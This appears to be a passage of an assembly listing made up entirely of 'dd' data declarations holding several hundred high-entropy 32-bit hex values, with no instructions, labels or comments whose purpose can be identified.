dd 80D50089h, 2FDD360Dh, 0CD006905h, 0F7D15608h, 0D30F4Eh
dd 1FEED0A5h, 0C7185788h, 0F534C300h, 5EA20942h, 5071C0C6h
dd 96B02521h, 0B3EE9E98h, 0F306E48h, 0E6855B42h, 78118B92h
dd 1F8E0043h, 36A06222h, 0E7003791h, 0FD70594Ah, 309A39C1h
dd 95283F0Bh, 60C03306h, 0C4A384C7h, 0E4AB1B73h, 4AD0E914h
dd 550C8533h, 0DE83DCFCh, 596E0240h, 9FB829ECh, 0C0219380h
dd 5500AAD6h, 7F280CAh, 71A0596h, 31A3D774h, 0CE758006h
dd 0D8000AC6h, 8D30BA62h, 2AF49529h, 0A38AA55h, 73534318h
dd 0D423404Ch, 29006FEBh, 0C418CC2Bh, 1CFD866Eh, 80A6AF08h
dd 0C6CD9D41h, 1F03DE25h, 8D6909A7h, 2770D856h, 76BF0061h
dd 3F5E5F3Dh, 93007F0Fh, 115A642Ah, 0C8B8CFh, 8744FA9Fh
dd 5F5E8E77h, 70A8E760h, 5CF91BBh, 1920B3DBh, 24820730h
dd 278D7025h, 36EC5C2Fh, 8C79C439h, 0B034AFCEh, 57B41E46h
dd 99EEF3h, 0C21F5E9Dh, 0BA0053D1h, 2B758F63h, 0FA0FCh
dd 22800532h, 0DB3A2CDEh, 94B73C1Eh, 97FFF9C0h, 2C66852Bh
dd 3DF037h, 0D8872E6h, 0A200243Eh, 9312DEEBh, 3792886h
dd 72438B40h, 7CD0BE29h, 0E10E47F4h, 2082F339h, 0CC045AB9h
dd 0FA3600EAh, 461EBDDBh, 9E00E68Fh, 50B5739Ch, 4AF15CDh
dd 0BBA08EF1h, 742382DEh, 0DCFFBA80h, 1C00E912h, 32C602C7h
dd 7F3BFDh, 524EEA63h, 0E7668829h, 0B16D5A00h, 0E34A7734h
dd 0C2440047h, 3B870FAAh, 0AE374862h, 0BA8068B6h, 24F4BE7h
dd 0FC9333DBh, 9C8027F2h, 0FBC1DEC9h, 0EE1FCF7Bh, 31400766h
dd 8992993Dh, 0F3C23080h, 53E73B10h, 0F06A7400h, 2B934655h
dd 0B554000Eh, 996C4B95h, 87122575h, 20432AF1h, 98E816A8h
dd 75C1EE1h, 0B19C4818h, 7E14D2D0h, 70D6F461h, 45F82B07h
dd 16516300h, 3FCA569Dh, 1F1B0EAh, 4E897519h, 0C08805D8h
dd 82070A9Fh, 479E20CCh, 2CA79671h, 1C6DB520h, 9D4DC0C4h
dd 455E80A4h, 0C3CAF9BFh, 0A8504FFCh, 0CF0064B0h, 0BDDD0F52h
dd 4A8E1397h, 58F82Ah, 319C4E4Bh, 0C219D0h, 636E49EFh
dd 931B4576h, 9ED5C00h, 8FD76F59h, 0D1331D91h, 0FA3C4296h
dd 68C0F10Fh, 0AF019275h, 0DDE921DBh, 196077CBh, 0B0674920h
dd 7ADEFA7Eh, 8E4D00E7h, 7E827659h, 97037077h, 0B8F909FFh
dd 0DFAFB157h, 60B4DCh, 0EDA174EAh, 9E3C4117h, 0A9916400h
dd 3108547Fh, 0C081504Fh
dd 0A07BF8EFh, 0FB8F5BBCh, 69D6C600h, 86F46C00h, 600DD5A6h
dd 7ED7E32h, 116AD461h, 639127B2h, 0C400E946h, 3DEB8414h
dd 3EFCB405h, 9200E69Ch, 0D8FEBEDEh, 3605318Fh, 7DA21A9Bh
dd 0A359DC00h, 1C4688E1h, 0EC3D260Ah, 0AE3500C0h, 1C142475h
dd 51031577h, 0F30C43B6h, 0CCBFF021h, 73F7025Dh, 0CACE17F1h
dd 0DD0EB068h, 709ABA01h, 0B26B07C8h, 9E5820h, 98AF634Eh
dd 91082415h, 76235400h, 1C29C4ACh, 7BE28Eh, 96F0123Ah
dd 0C26C7DBDh, 0C9FD8002h, 811FF8CBh, 0B93742D0h, 18E175C8h
dd 0A80BE4F6h, 94007E7Ah, 7FA2C5DFh, 99480Eh, 0A2F0936h
dd 4AD521C9h, 5CE81672h, 2D131216h, 0A2015900h, 75F640h
dd 96DE8A33h, 0BEB66056h, 806BA63Ch, 0A9715AF7h, 2EA56D41h
dd 838454h, 4AC47CAEh, 0EC07DD3Eh, 7BF89FE4h, 886C0BB0h
dd 0CEE70125h, 0D5DC5F7h, 246DE9C2h, 0CD00C7A8h, 0EEC946B4h
dd 16D83E67h, 5322285Dh, 3FE00118h, 0E8EA15B5h, 453FDFF0h
dd 5A8300A4h, 0D1399D3Dh, 0FB2700E2h, 0DE2B7874h, 400D452h
dd 7FF25BECh, 5C6DE0h, 87DCF050h, 620CFB7Dh, 4B06D4B0h
dd 0A3A9BA83h, 43791FE8h, 16048030h, 0B7190236h, 0E426BE00h
dd 2869AC01h, 709288h, 5B72E167h, 6CB3E3E7h, 3414F902h
dd 0E0D91B61h, 9EA2DDh, 547B7F10h, 0D6DE0C1Ah, 711E1500h
dd 0E6642B17h, 0CD4F0032h, 0A3524CC8h, 0D1149558h, 0C277D4h
dd 57991714h, 24CD680Fh, 0E89CBBh, 44F17973h, 5A18FCA7h
dd 7219FDCEh, 0C7D53B5Dh, 94788849h, 0D0137904h, 3F7CB9EFh
dd 3892EB01h, 4A31F0D5h, 43B824h, 0D4BB03D3h, 110FAB4Bh
dd 0C4018CEAh, 24F3E39Fh, 0E070F21Dh, 0AE3C0013h, 62BEDBA4h
dd 6FC3835h, 1F4CF816h, 0AB660Bh, 77A976ABh, 3B2FC87h
dd 4D04E292h, 289B9B19h, 660283B0h, 320A4C00h, 0E87DB7D0h
dd 429A583Dh, 0C16DB100h, 2C01BA0h, 67D44F07h, 0FA12B0D7h
dd 516360CDh, 0AD9D0003h, 0C15D802Dh, 9658626Fh, 1F74006Ch
dd 838BB14Ah, 0A2610192h, 78161737h, 0B3A8403Ch, 0AB1D6C31h
dd 6AE443FCh, 696A0500h, 99B51C8h, 0C0FB730Bh, 85F90481h
dd 0AD21D094h, 628E6300h, 0CD6B6EC3h, 6D06079Fh, 40517CA9h
dd 2B0F44F3h, 0DD02DF00h, 8189D7B4h, 0F1E50013h, 35EAC0Eh
dd 0A8000984h, 43688C66h, 0C80421h, 0D9A2B281h, 0D61E6439h
dd 341BB900h, 0C4D025EBh, 189ACEh, 12813916h, 706B80C1h
dd 82D3C00Eh, 0C7EAE041h, 0FA1ECAD1h, 640159B6h, 0AA459200h
dd 0C0DD63A2h, 0F6D28C03h, 0D8075C29h, 436773h, 66D876FEh
dd 5F6B62F2h, 9895E324h, 0CA1D0280h, 222AEBh, 940838FCh
dd 0AD6E59F2h, 0E5ABA517h, 9D96A021h, 0C1E14475h, 29B0670h
dd 1FF52CC3h, 30504C50h, 4101C6Eh, 0C0F1931h, 44E85C00h
dd 2702A1ADh, 7B473D9Ah, 84105384h, 0A573FCh, 0AE252B50h
dd 9F5406BEh, 49FDBFF7h, 95A7C20Ah, 0AB1C1C13h, 0B00650A8h
dd 0B36C546Eh, 0AD580638h, 282527AAh, 151E2810h, 0CD00C688h
dd 18515D2Eh, 8D7F0BD4h, 0F00015DDh, 4230EE94h, 4BB21D0Fh
dd 6C0821C4h, 0ACC5EB05h, 0D43BE0C3h, 77737CECh, 265F0013h
dd 5CE0E51Ch, 0D1169B76h, 7E007902h, 42A21B62h, 38EE6Eh
dd 8DE16A68h, 48E95ED0h, 5969BD1Ch, 0E07A81CEh, 175D1D03h
dd 5C43004Dh, 58CD29A7h, 9900310Ch, 0DC76A327h, 852C1Dh
dd 4454392Bh, 346F0BE8h, 870004A7h, 0B333D1CCh, 196C60F3h
dd 3FAF7E4Fh, 4C6FB203h, 3067EA07h, 0F0214408h, 0D53AAF86h
dd 0E31A0002h, 0CD6453B6h, 81A90067h, 1D25BB5h, 900A67Eh
dd 346EDD76h, 7CEC1191h, 894300B0h, 4297E845h, 4CC35F84h
dd 3807791Ch, 6808590h, 0B6080AA4h, 0CD0012D0h, 0EEEB4583h
dd 1B6F7B04h, 203C6E9Dh, 0E873D8B1h, 20A71BFCh, 0CFB22508h
dd 80803C0Ah, 9815B7CBh, 83E6FC49h, 958E8D00h, 20ADF91Eh
dd 8C52501Ah, 7C048C5Dh, 7FB241AFh, 2A254062h, 0B9C17683h
dd 0D8A441F1h, 0B4227Ch, 8CBA940Ah, 0CDBFD035h, 69F0C100h
dd 64C4D446h, 36DBA05Fh, 1A68017Eh, 0BD99AAE5h, 94A44040h
dd 7140DDA6h, 0B1506AFh, 59A5A838h, 0F918A278h, 4811EF4Bh
dd 7AAC0175h, 27437885h, 833E76Dh, 0C82A217Eh, 511F0ACh
dd 29AA03C7h, 8688412Fh, 814FF4BEh, 12EB2768h, 0F235E3h
dd 6D55C9A9h, 288690C0h, 62B1D1AAh, 38F3106Eh, 6F9180A0h
dd 94004ABAh, 907F6011h, 0EE4E578Dh, 0D52400D2h, 7A46A67Bh
dd 0A839A101h, 53BD806Ah, 0D1A7910Eh, 50346145h, 0CC74F258h
dd 2E60526Eh, 41DDDE81h, 4E0C3F54h, 0B091EB80h, 0BCCB1139h
dd 83EE71EDh, 5181F6B9h, 4A482831h, 2B146E0h, 0B23DAF90h
dd 104631DFh, 0AF782Eh, 0C1DA268h, 388BF0B4h, 0D3FA0477h
dd 340F1703h, 1B32C5D1h, 3931F460h, 0E8E6B1A1h, 9601A252h
dd 8DAD1408h, 218063F3h, 0BF3EAB2Bh, 822A2E0Fh, 6D0AB8FEh
dd 0CC194C08h, 3958ADh, 74EFD71Ah, 851B1305h, 6C619007h
dd 297C4CFFh, 924400F4h, 50B68B5Fh, 0CA0017B0h, 1D0506B7h
dd 2CA7A3h, 0FA846327h, 0E8AA0108h, 8936F430h, 50B02976h
dd 7A8E12Ah, 0F7EB4BCh, 39ACD6EEh, 0F9875601h, 0C832E07h
dd 0EF12A987h, 2B05483Fh, 0C040A9Bh, 5B4133E9h, 433DA9D1h
dd 95C1658Ch, 2B744020h, 8901F206h, 0EC87EB94h, 898238Ch
dd 0FE482138h, 77D2F200h, 0C5992A0Fh, 87C913Eh, 5101799Dh
dd 0DB598C88h, 282B5CD0h, 0C44852Eh, 4CD4EE26h, 1AC29929h
dd 4D0821D9h, 77E0E000h, 3100B15Dh, 72802B14h, 0AB3E7h
dd 33AA0DA7h, 0E8CA7FE2h, 2F577910h, 8B146F00h, 0BCAC05BEh
dd 0B1632815h, 215533A8h, 8D12FF76h, 0C2506098h, 0B40D8029h
dd 2EFD2609h, 6E5C1805h, 0C9AC07FAh, 80D14C61h, 0DC66D775h
dd 0AABD8600h, 87138C3Fh, 39A10307h, 0EAB8653Eh, 680950B6h
dd 803ACDB5h, 5F8688B0h, 7C84121Ah, 80C51CD4h, 0E59254EEh
dd 0D8015B6Eh, 81AA0FE1h, 78874BC5h, 81C00A24h, 0E0482A77h
dd 5F6FA012h, 601EB0h, 2BA264B4h, 0B8EB5ED1h, 6C1E0CA0h
dd 50C42D4Ch, 486AEDC0h, 0CA4020B8h, 0A21F80EEh, 3C64D0h
dd 6228D656h, 0AED84F7Fh, 1488961h, 0CAC6A9B2h, 0A4744920h
dd 48CFD0Ch, 857EAC41h, 20496298h, 0D0AC794Eh, 8AAAB100h
dd 0F8D7D5DEh, 7BBB2838h, 42DD02E4h, 4E75A8B4h, 8D859881h
dd 3CC518Ah, 7D906392h, 18289A30h, 88EDAA38h, 8F488610h
dd 17A2304h, 0AC08BE88h, 89431894h, 5D3C7073h, 0C908DE05h
dd 688115B4h, 2B103DB2h, 1C9ADA81h, 3B46903h, 14F285CEh
dd 38C9FD99h, 5B8C3AACh, 24EAC46h, 0F1D5894Ah, 20C4A030h
dd 9525BC4h, 6D63B2C6h, 282E4800h, 0AE1C7A6Fh, 209661A1h
dd 0C2E8AC43h, 0F1E5991Fh, 3002832h, 0D5A741EBh, 720054CFh
dd 5291597Eh, 4D683C0h, 892EB553h, 0F3F89186h, 0EB398033h
dd 0F86F62E1h, 928E0063h, 0D3EAF522h, 9400DE4Ch, 3545CC53h
dd 0DD41525Fh, 0C6003FC9h, 19025C87h, 80014D86h, 0BE96436Dh
dd 5671C459h, 34A76FECh, 17191D8h, 34B066A0h, 217ECDB6h
dd 2542640h, 61B84C6Dh, 0B2004129h, 87069026h, 286FC1F1h
dd 7846F8A4h, 6BEB601h, 0C27A4ACh, 0E4858950h, 1800E2BEh
dd 1D75A553h, 2B9D0BFh, 0A94ED2C3h, 4448A056h, 0EF39BB3Fh
dd 0B69006E9h, 26A8707Ch, 41708E2Bh, 0A48D9E5Ch, 0BA83D019h
dd 8B45D6E5h, 88F7A384h
dd 0B9BCEA49h, 1842D1E4h, 43BE012Fh, 0C9DE5B03h, 9FF06EECh
dd 0CC70C07Dh, 0DB524F63h, 43586D01h, 0E8F48916h, 30FE4421h
dd 43ABEB4h, 228856ACh, 75FE23Ch, 462069BEh, 99ACD073h
dd 14981C35h, 0D59EE20Ch, 8482F962h, 1020BEE4h, 885426ECh
dd 1B640148h, 0D151AADAh, 3283291h, 0B7D3B4A2h, 0FBEBE131h
dd 305F8442h, 8313AF7Ah, 0FC388FB2h, 0AF82122Ch, 3E50077Fh
dd 0F695C003h, 0A70D895Ch, 0A811B5A9h, 8C846C30h, 0B0F20704h
dd 37622394h, 0BF60101h, 3C9ECAC4h, 0B6004D99h, 7574C81Ah
dd 6E001D7Ah, 0E342C280h, 47F1B3h, 0F498C53Ah, 1A523FBDh
dd 9A88F501h, 9BCF2ACAh, 610409Dh, 11A9C99Fh, 0BF1D600h
dd 0A0273F5Fh, 0D7373305h, 2100E008h, 500B09F4h, 248DBC8h
dd 471A6236h, 1420B686h, 1F27D40h, 0AA0C9485h, 0F04CBBD2h
dd 58E82516h, 0B9989E37h, 0E846A9C1h, 1BA5F8C8h, 8801EB2h
dd 0DA3F21AEh, 50540091h, 0CF3F7776h, 8D683893h, 0B940CB00h
dd 0B6E8654Eh, 16C1CC0Ch, 146C80B4h, 80532680h, 44CE9800h
dd 865E7DE2h, 0FE00727Ah, 4C84C76Eh, 1826108Fh, 0B9BECCE0h
dd 0D6000872h, 0F778EB1Dh, 475AEh, 0FE426440h, 9B64B4Ch
dd 0E9C006EEh, 9758ECA1h, 0B743066Ch, 8F38440h, 0A7219E60h
dd 7D675824h, 27FC76h, 9DF7DA55h, 721A315Fh, 9A9C7400h
dd 427B3F6Fh, 0BAAA28C5h, 0EB64690h, 482E4693h, 47C7C4A8h
dd 0C9E29BD8h, 0E3FC619Eh, 306EE880h, 0B3CCDA91h, 0BA101CC6h
dd 92574818h, 0F8E98F14h, 0F201AE23h, 1F3F600Bh, 0F388AA18h
dd 0B60B000Ah, 7717F5C6h, 0B0020831h, 7D32DFDEh, 622840F1h
dd 44F9C0ECh, 6648537Fh, 78CB1701h, 0A58429F5h, 300EA042h
dd 9211582Fh, 9C88FB6Ch, 5827C480h, 75DEB82Bh, 0BFD20614h
dd 7006151Ah, 0DCEA0C00h, 0BD4FE7F8h, 88435046h, 8144189Bh
dd 680B9B0h, 136A8300h, 14058C84h, 2A6F7C26h, 0A0CB9Fh
dd 1E99313Bh, 96BAB30Dh, 0A84CD600h, 52FA305Ah, 0C1400351h
dd 5EA667F7h, 10DC023h, 6C935820h, 20FA1923h, 0D65818C3h
dd 5650E902h, 847435B0h, 9808EDC0h, 5E0BF0C0h, 77EF463Fh
dd 8E988h, 0D40EC0Bh, 0E6738BA1h, 0E15CC114h, 84AD88F8h
dd 5F383140h, 9CC8A710h, 620BFCC0h, 380F523Fh, 0BF4F580h
dd 8E022E06h, 0CC3DDB18h, 817C80C5h, 995AEA5h, 41F66396h
dd 0D942B400h, 9480AD44h, 0BDEA303Bh, 3FFE4E18h, 9DAB8609h
dd 1B0C80B4h, 30CC675Bh, 6C51E7C0h, 49C1AA28h, 0EE5CCE9Ch
dd 0F230C107h, 640405BEh, 490FDA34h, 0AD5379C3h, 842E5000h
dd 0F724B703h, 0BBFF50E0h, 0EB9901F8h, 0EE6A8DE8h, 0E318208Bh
dd 0A3230109h, 2D142048h, 7F2695Fh, 97D24DC5h, 52085CCAh
dd 589E21C0h, 71D6269h, 0B9CDA99Ch, 47A6226Eh, 9873AE20h
dd 33454C64h, 0F6971000h, 58AA18A8h, 0EC8B8D24h, 35CBB606h
dd 0CC4D4C31h, 0C003DA22h, 2332F20Dh, 4620064Ch, 0E0EF54D1h
dd 6683020Dh, 820284Ah, 951C8CB4h, 0C3BCEC46h, 0C19DDE84h
dd 8051A398h, 0C9070579h, 1E958D40h, 0C13AF9B7h, 0FCF57C0Ah
dd 0CEBAE4B8h, 644E710Ch, 282EA9F1h, 7284E314h, 1E540F2Ah
dd 0B840112Dh, 477C3A0Ch, 93AD310Bh, 6228025Bh, 187400A4h
dd 0BCA0C0E0h, 0C4D408Ah, 3F0BC98h, 0F7BA5C83h, 0C7FC9F2Fh
dd 0EBB182F4h, 86452A00h, 559A2848h, 0F19B0090h, 0C308269Ch
dd 0E22A8F41h, 0C110A840h, 7002A8D8h, 0E53BFE28h, 0E5183041h
dd 34E2CE2Eh, 420134A0h, 0B6299DB4h, 0E8CF208Eh, 649DC93Dh
dd 0E980AF11h, 9C8D4BE8h, 0A100CFFCh, 0CD9A51B2h, 0E6C3F2D7h
dd 0C05B0631h, 39C49F41h, 92A53C00h, 3EE303A9h, 47F6128Ch
dd 30E4206Bh, 4412CA59h, 24012AF1h, 99351AF9h, 9637C840h
dd 0EC28C0ABh, 0E62D3E33h, 2BAC0C9h, 530ED0h, 0B98475F5h
dd 0F7956300h, 0DC3146F3h, 0BF8DFB6h, 6100D269h, 416150A8h
dd 0CDDF4E00h, 371E27D3h, 52B10CB7h, 9B70879Ah, 0F1EE3901h
dd 9E3DC0CEh, 494B06E0h, 0FC00E04Ah, 2723CCCDh, 1402C518h
dd 3757A253h, 7BE5805Eh, 0D9C3D7h, 0BDECCFCh, 47749C8Ah
dd 7C718E00h, 5D52FBAh, 56D40336h, 5BB364A9h, 0ACDB3DA0h
dd 31014270h, 0D771E5D9h, 8985D01h, 4D1721A3h, 0CE07D6E0h
dd 827F4E95h, 2D7086E0h, 0BD3B012Ch, 0B3BAEC5Dh, 0D1C26173h
dd 0C8398057h, 3ECA83E4h, 55D03F23h, 30207018h, 577CD46Eh
dd 0D7DF9D04h, 9819FB98h, 0E043184Fh, 4DD92364h, 1E1C8911h
dd 672D004Ah, 1A4C8DC4h, 83C2EF0Ch, 7A16888Ch, 70086DDDh
dd 0F262F031h, 20A51332h, 1244C18Ah, 0B3442080h, 0DC40B152h
dd 0FE8D271Ah, 11481798h, 7894808Ah, 18DA4F93h, 0F16E0C45h
dd 0FF78DB57h, 0BED40600h, 0D31AB89Ch, 71DD00EDh, 80C73A2Ch
dd 0C300AF4Dh, 9074EE03h, 88CCAAh, 0CE625FB4h, 652B3A37h
dd 0FA37F38h, 4027AC3Dh, 0EF8B295Ch, 258A0061h, 4F4DF934h
dd 91009B32h, 78B2D844h, 1B0CEAh, 0F8BFB58Dh, 1CB6FB6Dh
dd 0FC3E7500h, 971ECDF0h, 38CA1774h, 63B40065h, 71AD2C55h
dd 5F0027F6h, 3A5BC9ABh, 1C880F01h, 0C7FDB7C0h, 1FC7C47Fh
dd 0B0596F60h, 9A03B506h, 3FA1962Fh, 5275B0A5h, 2CDB0171h
dd 9E88F91Ch, 9333D474h, 0A3101100h, 66E9B2FAh, 64A75803h
dd 98FF618h, 20C31197h, 0F06620D2h, 7625C721h, 3DF500BCh
dd 0A6E458FBh, 100012FAh, 0DA51D003h, 19CEE73Ch, 8B72405h
dd 0F9218049h, 29FE51F8h, 1607373Eh, 0B6EDC058h, 0AE013779h
dd 70026319h, 0F3CFA2h, 0EC8B7299h, 87996F1Bh, 8442560Ch
dd 1B851A4h, 33D202CAh, 106107CDh, 39EB6641h, 0D68053BFh
dd 9BBBA6A1h, 69074397h, 0A2D4C706h, 2D7172D0h, 1453E03h
dd 393A0981h, 873F9362h, 92D0B179h, 0C20F5770h, 6BBB0051h
dd 5C7847E7h, 0FD0025F5h, 5A0544EEh, 0A56FF99h, 92DA1C89h
dd 66DC60A8h, 7846A7DEh, 0ED03B322h, 0E33266D7h, 0E2B890FCh
dd 0F65B026Ah, 81F1E1Ah, 9441A300h, 0F9D9C60Bh, 20F4F9B9h
dd 0E00C8500h, 237C724Ah, 0F45A0066h, 76D77844h, 0E80C0E03h
dd 49FB5B71h, 6D8F02DFh, 5079132h, 80D1DC8Fh, 3CDD51DFh
dd 10EF8CEFh, 0F5107C8h, 133ACA21h, 0E08019E9h, 287AA226h
dd 6239D4A4h, 710F751Eh, 3517543h, 0C02A60ABh, 0C04693ECh
dd 15F36829h, 0B20374C6h, 4291288Ah, 3D40CF3Ah, 61FC4310h
dd 70AEF805h, 20A212A4h, 0FD8724D8h, 3E817601h, 4599ECB6h
dd 71611CE0h, 72433793h, 59977078h, 1B003371h, 70D9E9FFh
dd 0C44C184h, 0F3F9728Ah, 0C800CC51h, 653C7D6Fh, 0F44BA8Fh
dd 5591CA54h, 3C3E004h, 97F9FAh, 0F8D37931h, 0B7A2B0DCh
dd 9CA7A900h, 0F52EBB28h, 0C8FA017Dh, 44824F84h, 0F884FE18h
dd 0D8B4820Ah, 1066DA30h, 0E0E8A704h, 3C66D5EBh, 0FF807EF9h
dd 4370D3BCh, 83224560h, 6A442CA3h, 77A60025h, 0FCC5B91Bh
dd 0C03468C8h, 0A7F866E6h, 0E040C848h, 2C6621CFh, 8348C3h
dd 0E30D5937h, 1E124BEBh, 40214F71h, 0F13029Ch, 752888E4h
dd 4988331Fh, 3EA2BCFh, 30ACBh, 3D8CB029h, 56DF9957h, 0C7912B19h
dd 21802808h, 0D93A34D1h, 4706C692h, 268B96CEh, 23546C0h
dd 0A70566DBh, 10B631D0h, 2C66D2DCh, 265E4E3Eh, 7A9D0EDBh
dd 6938070Eh, 0EC048658h, 3D9FABEEh, 197C86h, 0E8CA9094h
dd 0DB9C1E47h, 8A044E1h, 4393B9B0h, 1A813800h, 3ED4A718h
dd 2118152Bh
dd 5AA3215Bh, 8C438400h, 87A40673h, 8EE667Bh, 0BB002145h
dd 0F27443FFh, 74E0E77h, 0B8947D07h, 89185605h, 37454800h
dd 2D538CF2h, 88B005Bh, 88E3B524h, 452C041h, 0F83C11BCh
dd 1C68630Fh, 0D58A148Fh, 1C134A48h, 0A0A6CA30h, 0B744BD48h
dd 1015B76h, 0AD4A4FCCh, 9FFD45BFh, 72A24189h, 8AE3E413h
dd 0AB22797Ch, 0C43885FBh, 26106738h, 0C9E8925h, 3384453Ah
dd 7509EB51h, 9FD95ABh, 77F80220h, 0D2F7200Fh, 750A311Eh
dd 40AB5C71h, 3871C0A1h, 1D026A18h, 0CEA2FB47h, 71C48CCh
dd 85E1C30Dh, 0BDC8E870h, 65079544h, 0A2C9296Bh, 40341E52h
dd 86928948h, 0D166DF04h, 9B6270A7h, 0B880E824h, 60F83E1Ch
dd 1F8EA98Ah, 0E3248968h, 0BC18EAEFh, 44F719h, 0BEEC8AFEh
dd 1B355DD3h, 98D11499h, 0CF063618h, 0C168A2E8h, 8D451819h
dd 0F35C69A0h, 4A1988A8h, 5E0E2101h, 9F39D6EFh, 9DA21833h
dd 0C351330h, 40901AEEh, 3200F939h, 0BEB6ACC9h, 56CC1E2h
dd 0F44AC46Eh, 0D1408C59h, 9D44A8A7h, 36877360h, 20460092h
dd 8B435702h, 3931EE73h, 4302BA10h, 0C1B28E09h, 0A9E807D2h
dd 4540EB87h, 1018093Fh, 58A31F3Ah, 46596088h, 1364345Fh
dd 8DD72AEh, 30C0076Ch, 0B899733Ah, 916C910Bh, 0D8C50214h
dd 0C1FC093Ah, 0D0170F8Ch, 3318208Dh, 6488F829h, 0D4194571h
dd 31004756h, 0DD391F0Fh, 0DB4573A2h, 8100A261h, 0ED9D6709h
dd 1DC1A5Bh, 526483B1h, 85F4F98Ch, 29198071h, 0AEB70CC0h
dd 7F99003Bh, 0E1ACD0Fh, 0F01415FBh, 3C2C2893h, 876000D3h
dd 4564FEDCh, 8ABCB996h, 41A03767h, 2363FE89h, 309BA228h
dd 7C006E47h, 0DB5A0633h, 146FF5A9h, 9811788Dh, 28C46FCh
dd 92C33F66h, 78E2DDF9h, 4BE454E5h, 94F32E60h, 431B6A13h
dd 3B0F0E03h, 93692947h, 52F200C0h, 8F97DCB4h, 19021D1Eh
dd 73D65440h, 0F10AD33h, 0FDEB57C9h, 0F8A37642h, 4104284Ch
dd 3799703Ah, 8900D638h, 4D7C963Dh, 0F9D5BE2h, 71786AEAh
dd 0ABDCD443h, 0F802D810h, 8851DFDDh, 0E370B73Ch, 0A05101CAh
dd 4D99EEC9h, 1CC738Fh, 5E8E2320h, 89D45B5Ch, 0B77B019Fh
dd 0A37933E7h, 8B5C48CAh, 995A3D1Ah, 1B5C24B0h, 3A33D040h
dd 0CB0352C6h, 0D6658CA4h, 2371EBAEh, 8438FFB0h, 0F3CE951h
dd 0E420F062h, 5051CBh, 8E42D9A8h, 41AA0B9Bh, 276093FEh
dd 0D4E1C8B9h, 339C02C7h, 0DDE60A74h, 0AD704C5Bh, 0FFE0252h
dd 74F2E7C4h, 9971E851h, 0DF005D18h, 1C47CB16h, 0B188C665h
dd 0C5263Ch, 79D9ABF9h, 0F6122FFEh, 5BC01A4Ch, 12E7A1EBh
dd 400B5CC3h, 5116FE30h, 4E1F54B3h, 5640221Fh, 96CC8E99h
dd 2D30928h, 78681907h, 210047FEh, 4962538Bh, 63A7054h
dd 75A2F516h, 4518C12Ah, 43F1A585h, 8B160418h, 0B49C4E63h
dd 39300F30h, 927181F4h, 327C20h, 44C75C8Fh, 7BD91F56h
dd 0D3E96902h, 232EAA41h, 6DE05D8Bh, 0F66F5CBEh, 0E1066141h
dd 20C01769h, 0A0701DD9h, 1F7505DFh, 501440E6h, 2B8DE980h
dd 8B773F01h, 7E5A8F62h, 3CA4EDCh, 0FF099A2h, 3101FD0Ah
dd 0EC8B5C75h, 0E872A741h, 0E33CC800h, 71432611h, 733F0638h
dd 34D36F2Ah, 68604100h, 1458BBF0h, 72CD2632h, 405026A7h
dd 6E6A8F08h, 0D46F6B01h, 28CA5E24h, 0F392DFF0h, 8554EE0h
dd 9E9043F7h, 1E80AF80h, 0A0BDBh, 0FCF97A34h, 0C06E6849h
dd 52178307h, 6F47570Ch, 0BC439DD5h, 0D8797551h, 49E045h
dd 88E8BC62h, 71F49591h, 4C00ABE4h, 7AE1B390h, 2AA25821h
dd 5E02E7Ch, 5081C988h, 7398C1F7h, 68C01411h, 133D4E62h
dd 909044F5h, 8B5CB60h, 25142807h, 18D06507h, 71887FD0h
dd 0F73427E2h, 95D02813h, 0F6091D1Eh, 4A99454Dh, 24D80000h
dd 1C317A0Fh, 0ECB18B88h, 258D4010h, 680192B2h, 8275B72Fh
dd 0D448070Fh, 76F40474h, 0B2A8DCABh, 94DF01B8h, 0FF8B0FA6h
dd 7B4DCCh, 0D8C91684h, 0A9AA28CDh, 2C781E72h, 1C924E18h
dd 424DA89h, 3F07E4Ah, 8FCD40E5h, 68A456Bh, 902DE89Fh
dd 1D009914h, 65B96CA6h, 463E7h, 936EC48h, 55E933Ah, 889E7202h
dd 808245F9h, 8C182D74h, 1F0CC7Ch, 0CD09F3B8h, 9090320Eh
dd 8B08F4h, 0F68E4D28h, 9B3FAF97h, 45034401h, 8F1B5CF4h
dd 0E3CF7F0h, 71A2E69Eh, 311E83DCh, 69001307h, 0FCF1CBD0h
dd 0F57530h, 0D24C549Ah, 7F7DEEBEh, 0C0C3D0EDh, 520FFB00h
dd 24627265h, 1487D85h, 81517843h, 84453BD1h, 716F2B20h
dd 0F75EAC81h, 92FF2E0h, 0ACCFC82h, 222B8068h, 10590C07h
dd 0D1BEE38Fh, 0CE9D1E00h, 0DBD0373Ch, 0EF958102h, 40E9BE7Ch
dd 0C2BE9h, 4392CD78h, 52047AD7h, 44C409EAh, 0A4B2710Ah
dd 0D5FCC700h, 0C844FB41h, 9A7440FDh, 5D1ECE98h, 0D9C039EFh
dd 0A04ABF93h, 0A67902ECh, 2D829404h, 0C22EC0B1h, 6DC67040h
dd 2094F0A1h, 0F10F4BC8h, 58AFA4Ah, 0B8884393h, 40AF0050h
dd 0C58821BEh, 0A5E699FBh, 50D25E26h, 6D74DA00h, 886007DEh
dd 300EF7Ah, 0A92DE1EAh, 0F6F1DA7h, 5BE996A4h, 4E762BA0h
dd 0F4509450h, 8A2CF0DCh, 0B86030AAh, 7D3389h, 0B5374B72h
dd 2D1E76DCh, 1D7C5A09h, 2F28643Ah, 96F05E7Fh, 9186C500h
dd 0ADD1E2B1h, 0A0443BD7h, 47EE1700h, 89D55C37h, 9F91B73Ah
dd 81BBDF27h, 233DFD7Bh, 608ABBA2h, 1D600A35h, 1730C7E6h
dd 7C8490D3h, 41075977h, 0ACCFA189h, 40200F91h, 9692BC24h
dd 0B80B8704h, 9FB12061h, 0A100E269h, 6D7E48C3h, 4D71158h
dd 286E817h, 4184D884h, 2F09252h, 97822476h, 158C83C5h
dd 66F4C20Fh, 0C36F1298h, 90544269h, 0D86309B4h, 7B4C80FCh
dd 0FC6EE95Ch, 0E7836028h, 0A44AF37h, 9EE47D2Ch, 8BA880FCh
dd 8F9B8948h, 44258706h, 4850A03Dh, 9550124Dh, 802099F4h
dd 25BC6B2Fh, 0DE0F0B3Fh, 4363CC04h, 0CB78CAC6h, 97805B0h
dd 0C241D7EAh, 0C45B51h, 0E3B52E01h, 0A7098163h, 6004F420h
dd 0FF708EEh, 304B626h, 56B1C5Eh, 4DDF0200h, 7500B19Bh
dd 0A92436C0h, 0C0B9D501h, 0CD82FB29h, 49002E79h, 52B5A64Bh
dd 8D79C3Fh, 26EB76Ch, 5A1A8A01h, 0D0F4AF5Fh, 4B43001Eh
dd 7808DC3Ah, 0D9003996h, 84713619h, 38B05E80h, 0C5007765h
